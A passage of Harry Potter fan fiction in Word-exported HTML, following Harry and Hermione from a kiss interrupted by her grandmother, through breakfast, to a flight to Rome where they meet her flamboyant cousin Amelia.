</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s heart melted and she\nsmiled, she lowered her lips to his where she kissed him lightly. She felt his\nmouth open to her with a growing need to feel more than just her lips on\nhis.&nbsp; Harry&#8217;s hands reached up and cupped\nthe back of her head when he felt her tongue enter his mouth and tangle with\nhis, he kissed her harder with such a wanting that it nearly controlled\nhim.&nbsp; He shifted his body so that her\nlegs opened and she was straddling him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione softly moaned feeling him\npressed in between her thighs, she pulled back a little and glanced down at\nhim.&nbsp; &#8220;Harry&#8212;my parents,\ntheir&#8212;house.&#8221;&nbsp; She took in a short breath\n&#8220;We can&#8217;t do this here.&#8221; She said, her breathing erratic.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do you want to stop?&#8221; Harry asked\nstill fighting against his own self control.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t want to&#8230; but we have to.&#8221;\nHermione searched his eyes for his reaction.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took in a deep breath,\n&#8220;whatever you want love, I will do.&#8221; He smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione smiled back and quickly\nleaned in giving him a soft, sweet kiss.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">There was a knock at the door and\nHermione practically jumped off him, landing on the floor with loud thud\nfollowed by an ooow.&nbsp;\nThe door burst open and Hermione&#8217;s grandmother rushed inside.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Is everything all right in here?&nbsp; I was coming up to let you know that breakfast\nwas ready and I thought I heard a noise.&#8221; Mavis looked around and saw Hermione\non the floor, her hair had been tousled and her face was flushed.&nbsp; She glanced over at Harry who was covering\nhimself with the comforter.&nbsp; Mavis popped\nher hip out and her hand came down on at is she stared at the two\nteenagers.&nbsp; &#8220;I suppose I don&#8217;t have to\nguess what was going on in here.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione stood, &#8220;N&#8212;nothing was\ngoing on in here Nanna.&#8221;&nbsp; Her face was still flushed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, what do you take me\nfor?&#8221;&nbsp; Mavis said with a stern, but calm\nlook on her face. &#8220;I was a teenager myself once, sure it was awhile ago.&#8221; She\npaused a minute and thinking back to those days of her youth, &#8220;but I remember\nit just the same.&#8221;&nbsp; She pointed to the\ndoor with her chin, &#8220;Hermione go fix your hair and then go down to\nbreakfast.&nbsp; Harry here will be along in a\nmoment, I want to have a little chat with him.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry swallowed the breath he had\nbeen holding, <i style="mso-bidi-font-style:normal">oh I&#8217;m going to get it now,\ncurse these damn male hormones,</i> He thought to himself.&nbsp; Harry would have held his fist up to the air\nthreatening like, but he was around other people and it would make him feel\nidiotic. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded and walked out of\nthe room closing the door behind her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Mavis turned to Harry, &#8220;now I know\nwe all talked about this last night before you two went to up to bed, but I\nagain want to tell you that you two are going to Rome. It&#8217;s a bit intimidating\nif you don&#8217;t know the dangers.&nbsp; You need\nto look out for each other; anything can happen in that city, it has a lot of\nhistory.&nbsp; Something I&#8217;m sure Hermione\nwould also be interested in.&#8221; Mavis glanced down at the floor and then up about\nthe room a bit.&nbsp; &#8220;For some reason I trust\nyou with Hermione more than I have trusted any other fellow with her, do not\nbreak her heart.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Mrs. Granger&#8212;&#8221; He was\ninterrupted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Please call me Mavis.&#8221; She said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay then Mavis, I would not\nbreak her heart.&nbsp; What makes you think\nthat I would?&#8221; Harry found that slightly offensive.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Because Harry, Rome is filled\nwith really beautiful women. And well you are almost a man.&nbsp; And no man is immune to a pretty female.&#8221;\nMavis said with some wisdom behind her words.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took in a breath. &#8220;I know\nthis is going to sound cheesy and well to you it might seem like just another\ntypical guy line to work his way into a girl&#8217;s pants, but none is more\nbeautiful to me then my Hermione.&nbsp; She is\neverything, and certainly no other pretty face will turn my head.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Mavis smiled, &#8220;I believe you. Just\nbe on your guard.&#8221;&nbsp; She crossed her arms\nin front of her.&nbsp; &#8220;I was just giving you\nthe same speech that I gave my son Kevin when he went to Paris\nwith Hermione&#8217;s mother.&nbsp; So it&#8217;s nothing\npersonal.&#8221; Mavis smiled.&nbsp; &#8220;Now please\ntell me before I came in here that you two weren&#8217;t planning to&#8212;&#8221; Mavis was cut\noff quickly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well&#8221; Harry scratched the back of\nhis neck nervously, something he had picked up from Sirius obviously.&nbsp; &#8220;Nothing was planned, but nothing more went\non.&nbsp; Hermione has a good head on her\nshoulders, she&#8217;s the more sensible one.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Mavis nodded. &#8220;I think I&#8217;ll be on\nmy way, let you get ready for the day.&#8221; Mavis started for the door.&nbsp; &#8220;Breakfast is ready for you when you want\nit.&#8221;&nbsp; She left the room closing the door\nbehind her and Harry got ready for the day.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">While in his boxers he jumped from\nthe bed and went over to his suitcase.&nbsp;\nHarry picked out a fresh pair of boxer shorts, a dark red t-shirt and a\npair of jean shorts. He quickly closed the suitcase up.&nbsp; He headed straight for the bathroom.&nbsp; As Harry stepped from the room he was\nstartled by Hermione jumping away from the wall next to the door.&nbsp; She had a distressed look in her eyes and he\nwas a bit concerned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, what&#8217;s the matter?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You didn&#8217;t get in trouble did\nyou?&#8221; She asked, biting her bottom lip in worry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry lifted his hand and brushed\nhis fingers along her cheek, &#8220;no trouble what so ever.&#8221; He said with a tiny\nsmile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione relaxed and let out the\nbreath she had been holding. &#8220;Good.&#8221; She said with a relived smile. &#8220;I want my\nfamily to like you, and with me being in your room with you practically naked\nthat wouldn&#8217;t exactly get you on their good side.&#8221;&nbsp; She glanced down for a moment, &#8220;speaking of\npractically naked.&#8221;&nbsp; She looked up at\nhim, confusion in her eyes &#8220;why are you walking around in your underwear?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry smirked, &#8220;Oh I thought you\nwould like me walking around in my underwear.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A small laugh escaped Hermione,\n&#8220;well I wouldn&#8217;t mind, but I think my parents might have a small problem with\nit.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;In that case, I&#8217;ll just continue\non my way to the bathroom so I can take a quick shower and get properly dressed\nfor your parents.&#8221; Harry continued on his way into the bathroom as Hermione who\nwas smiling turned and started down the stairs towards the kitchen.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sat down at the kitchen\ntable and picked up her glass of orange juice.&nbsp;\nHer mother set a plate full of food down in front of her. Hermione\nsighed looking at the huge stack of waffles, and the fruit surrounding it.&nbsp; She could never eat all her mother placed\nbefore her.&nbsp; She heard a soft meow and\nturned her head towards the archway, Crookshanks came into view, his tail\nswaying lightly as he walked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The cat sauntered over to Hermione\nand jumped up into her lap. Hermione reached down and scratched his cheek and\ngave him a good amount of petting. &nbsp;Crookshanks purred and settled himself into\nher lap.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione are you going to spend\nall breakfast petting that cat, eat up before it gets cold.&#8221; Jenna said with a\nsmile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked down into the full\nplate again, &#8220;there&#8217;s just too much here.&#8221; She whispered lightly to\nherself.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Crookshanks ears perked up and the\ncat looked up at her, Hermione suddenly got an idea, she looked over at her\nmother who was still making the waffles, her back was to Hermione.&nbsp; Hermione picked up a waffle with her fork and\ncarefully placed the waffle under the table and tossed it to the floor.&nbsp; Crookshanks jumped off Hermione&#8217;s lap and\nonto the floor where he began to eat up the waffle.&nbsp; Hermione continued doing that until she only\nhad a waffle and a half left.&nbsp; She then began\nto enjoy her breakfast.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After a nice, short shower, Harry\ndried off and took care of his morning necessities such as brushing his teeth,\nshaving and such.&nbsp; He got dressed and\nwhen his hair dried a bit, he tried to get it do what he wanted, but alas it\nwas no good.&nbsp; He left the bathroom.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry went back into the guest\nroom and placed his used underwear back in the suitcase but in a different\ncompartment as to know it was dirty and needed a wash.&nbsp; He grabbed his wand and its holder, he looped\nthe holder into his belt loops and fastened it much like he would a belt and\nslipped the wand into the holder.&nbsp; He was\nsure if there was a life or death emergency the Ministry would overlook his use\nof magic.&nbsp; Of course he wouldn&#8217;t use it\nunless absolutely necessary. Harry pulled his shirt hem down over the wand so\nit couldn&#8217;t be seen. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He closed the suitcase and locked\nit, he carried it out of the room and down the stairs.&nbsp; He sat the suitcase in front of the door\nwhere Hermione&#8217;s was and hurried into the kitchen, he saw Hermione sitting at\nthe table already eating the waffles which her mother had made.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jenna smiled at Harry as he took a\nseat next to Hermione, she set a plate of food in front of him.&nbsp; &#8220;There you go, now eat up and don&#8217;t let any\ngo to waste.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry stared at the stack of\nwaffles.&nbsp; There were at least five\nwaffles in the stack, along with some fruit and a slice of ham. He looked at\nHermione and leaned over so he could talk to her quietly.&nbsp; &#8220;There is no way I can eat all these\nwaffles.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Neither could I.&#8221; Hermione said\nquietly.&nbsp; She pointed down under the\ntable and Crookshanks was sitting there feasting on a waffle.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He kept the laugh in, &#8220;ah I get\nit. Okay so Crookshanks is kinda like the family dog?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You have no idea how much that\nblasted cat eats, he eats twice as much as me, and then like three times more\nthan my dad.&#8221; Hermione shook her head back and forth.&nbsp; She continued to finish off her breakfast,\nout of the corner of her eye she saw Harry tossing pieces of waffle down to the\nfloor. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After breakfast was finished and\ncleared, Harry and Hermione grabbed their luggage and headed to the car.&nbsp; Their plane would leave in about an hour and\na half and it was always best to get to the air port an hour before it leaves,\njust in case a problem arose.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Kevin then started up the car and\nthey were on their way to the airport.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry and Hermione said good bye\nto her parents and they boarded the plane.&nbsp;\nAfter settling down into their seats, sure it wasn&#8217;t as luxurious as\nwhen they went to the US\nwith Zara but it wasn&#8217;t bad either.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They heard the information about\nbuckling seatbelts and what would happen in case of a crash.&nbsp; The flight attendants voice came over the\nloud speaker and told the passengers where they would be heading.&nbsp; A few moments later the plane started moving\ndown the runway and it took to the air.&nbsp;\nThey were on their way to Italy.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione was reading Great\nExpectations when Harry tapped her on the shoulder.&nbsp; She placed her thumb in the center of the\nbook and closed it a little.&nbsp; She looked\nat him with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What exactly is your cousin\nlike?&#8221; Harry wondered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh boy.&#8221; Hermione took a breath,\n&#8220;Amelia is worse then Zara.&nbsp; We&#8217;ve seen\nZara&#8217;s life, it&#8217;s nothing compared to Amelia.&nbsp;\nYou see she is a fashion designer, twenty six years old, has a different\nboyfriend or girlfriend which ever she is in the mood for like every week. She\nhas a few tattoos in discreet places, a few piercings\nand she&#8217;s totally in with the night life.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;She sounds like quite a handful.&#8221;\nHarry said completely alarmed at the tale of Hermione&#8217;s cousin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes she is.&#8221; Hermione said with a\nlaugh, &#8220;I remember when I was around twelve or so and she came over to spend a\nweek with us. She was the biggest flirt on the face of the earth. My parents\nand I were out running errands and we came home to find her surrounded by like\nseven guys. She is a guy magnet, a girl magnet too sometimes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What kind of fashions is she a\ndesigner for?&nbsp; I have never heard of\nher.&#8221; Harry watched Hermione carefully a tiny blush rose to her cheeks.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Amelia is sort of a designer for\nthe&#8230;.interesting.&#8221;&nbsp; Hermione replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Huh?&#8221; Harry asked, he was\nconfused, &#8220;how interesting?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione took in a breath and then\nlet it all out. &#8220;She&#8217;s a designer for fetishes and naughty underwear.&#8221; She was blunt.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s eyes grew wide, &#8220;Oh, okay\nthen.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;She&#8217;s very successful,&#8221; Hermione\nreplied with an unsure smile.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I don&#8217;t doubt that.&#8221; Harry\ncleared his throat.&nbsp; &#8220;And this is the\nsame person who helped you with your new look last year?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, &#8220;some things\naren&#8217;t that drastic.&nbsp; But a lot of her\noutfits and things tend to show a lot more skin or are really tight.&#8221;&nbsp; Hermione leaned back into her seat.&nbsp; &#8220;I didn&#8217;t go as drastic as I could\nhave.&#8221;&nbsp; Hermione then sat forward\nabruptly. &#8220;Oh I almost forgot to tell you.&nbsp;\nI brought those Translation Beans that way we don&#8217;t have to wonder what\nall the Italian&#8217;s are saying to us, we will understand them perfectly.&#8221;\nHermione said with a smug smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Anxious to try those out are\nyou?&#8221; Harry said with a knowing smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I have been dying to see how\nthey work, and now we&#8217;ll get to try them first hand.&#8221; She placed her bookmark\ninside her book and closed it completely. She placed it back in her bag.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Did you get a letter from Ron?&#8221;\nHarry glanced out the window, this is the first time he got the window\nseat.&nbsp; Hermione let him have it because\nhe had never had the window seat before.&nbsp;\nLast time on an airplane Hermione had the window seat now it was his\nturn.&nbsp; He liked how the world looked so\nfar below them, they were much higher up then he has ever been, even on a\nbroomstick.&nbsp; Although that was nice, this\nwas exceptional.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes, he said he was going on\nvacation with Zara.&#8221; Hermione opened her package of complimentary peanuts,\nhoney roasted peanuts to be exact.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;His whole family had been\ninvited.&#8221; Harry turning around looking at her he saw Hermione offer him a\npeanut but he declined.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s really great for them;\nthey never get to do anything like that as a family.&#8221; Hermione popped a peanut\ninto her mouth.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry couldn&#8217;t help the small fits\nof laughter coming from him, &#8220;What do you think Ron&#8217;s mum thought of Zara?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione too couldn&#8217;t fight the\nlaughter, &#8220;I remember the fist time I met her, she was so different.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And that hair, I had never seen such\na color on a person before.&#8221; Harry said thinking back to last school year.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I wonder what she is going to do\nthis year?&#8221; Hermione looked towards the ceiling of the plane in thought.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry relaxed back into his chair\nmore. &#8220;Well I&#8217;m sure they&#8217;ll have a great time while on vacation together, we\nprobably won&#8217;t be hearing from Ron all summer.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded &#8220;In the letters\nfrom Zara and Ginny, it was stated that Zara and her family stay at their beach\nhouse all summer.&nbsp; So I think Ron will\nactually be enjoying that to the fullest extent. If you understand what I mean&#8221;\nShe wiggled her eye brow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A light chuckle escaped from\ninside of Harry and he turned smiling at her, &#8220;I know I&#8217;m going to enjoy being\nwith you, whether we are intimate or just in each other&#8217;s company.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She felt her heart burst into tiny\nlittle sparks, and Hermione leaned in pressing her lips to his in a soft\nkiss.&nbsp;&nbsp; The sounds of children giggling\nbroke the moment and Hermione pulled back.&nbsp;\nShe turned towards the aisle and saw two little girls giggling at\nher.&nbsp; Hermione stuck her tongue out at\nthem, which made the children burst up into laughter again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry shook his head in amusement.\n&#8220;You are just a big kid yourself aren&#8217;t you Hermione?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione then stuck her tongue out\nat him and she saw him burst into laughter.&nbsp;\nShe too joined in on the fits of laughter. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The plane continued on its way,\nsome hours later they heard the captain&#8217;s voice come on the loud speaker\ntelling them that they will be arriving at the Fiumicino\nairport in Rome within a half hour.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n*</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">At the airport Harry and Hermione\ngot of the plane and started down the hall. The moment they stepped into the\nwaiting area they were approached by a short brown haired girl wearing neon\ngreen Capri pants and a white halter top.&nbsp;\nShe was smiling brightly.&nbsp; You\ncould see she had a piercing in her eyebrow, her ears had at least six piercings on each ear.&nbsp;\nThe girl rushed over and developed Hermione in a tight hug.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After the girls broke apart\nHermione smiled, &#8220;Amelia I want you to meet Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia looked up at Harry, she\nhated being so short she was only five four and it really bothered her.&nbsp; &#8220;Glad to greet you Harry, I have heard about\nyou some.&#8221; Amelia said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry noticed that she also had a\nstud in the middle of her tongue, He couldn&#8217;t resist he had to ask.&nbsp; &#8220;Did that hurt?&#8221; He pointed a bit</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia laughed, &#8220;Oh yes all the piercings hurt like a bitch but you get over the pain, I\nhave a few more but only my boyfriend gets to see those.&#8221; She winked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both Harry and Hermione laughed\nwith Amelia.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come on let&#8217;s get your luggage\nand then get you over to my flat.&#8221; They started towards the baggage claim.&nbsp; &#8220;You two don&#8217;t mind sharing a room do you, I\nonly have three and my boyfriend occupies one most of the time, and then mine\nis the master bedroom.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh no Amelia we don&#8217;t mind in the\nleast.&#8221; Hermione said while looking at Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just wait till you meet him\nHermione, he&#8217;s so hot.&nbsp; Imagine this six\nfoot five of hard chiseled abs.&#8221; Amelia sighed, &#8220;And he&#8217;s soo\ncute.&nbsp; He has a face like a god, so very\nsexy.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Amelia calm down, I&#8217;m sure he&#8217;s\nnot all that great. Just cause he looks good doesn&#8217;t mean there isn&#8217;t something\nwrong with him.&nbsp; You always tend to pick\nthe wrong type of guy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh and you always pick the right\none?&#8221; Amelia said with a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;True, I have had my share of bad\nones.&#8221; She then turned to Harry who for some reason was quiet through this\nwhole conversation. &#8220;But this time I think I made the right choice.&#8221; Hermione\nsmiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry smiled back and took her\nhand in his.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia smirked, &#8220;Oh you two are\ntogether are you?&nbsp; Last time I heard you\nwere just friends.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;\nHermione still holding onto Harry&#8217;s hand turned her attention to Amelia\n&#8220;Who is this boyfriend of yours, in your letters and phone calls, you would go\non and on about him, but we never got a name of who he is.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I am so ditzy sometimes, I always\nforget to mention his name. His name is&#8212;&#8221; Amelia was cut off by the loud buzz\nletting people know their luggage was arriving.&nbsp;\nThis distracted Harry and Hermione from listening to her.&nbsp; They went up and immediately began looking\nfor their suitcases.&nbsp; Hermione found hers\nfairly easy, Harry then grabbed his quickly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" 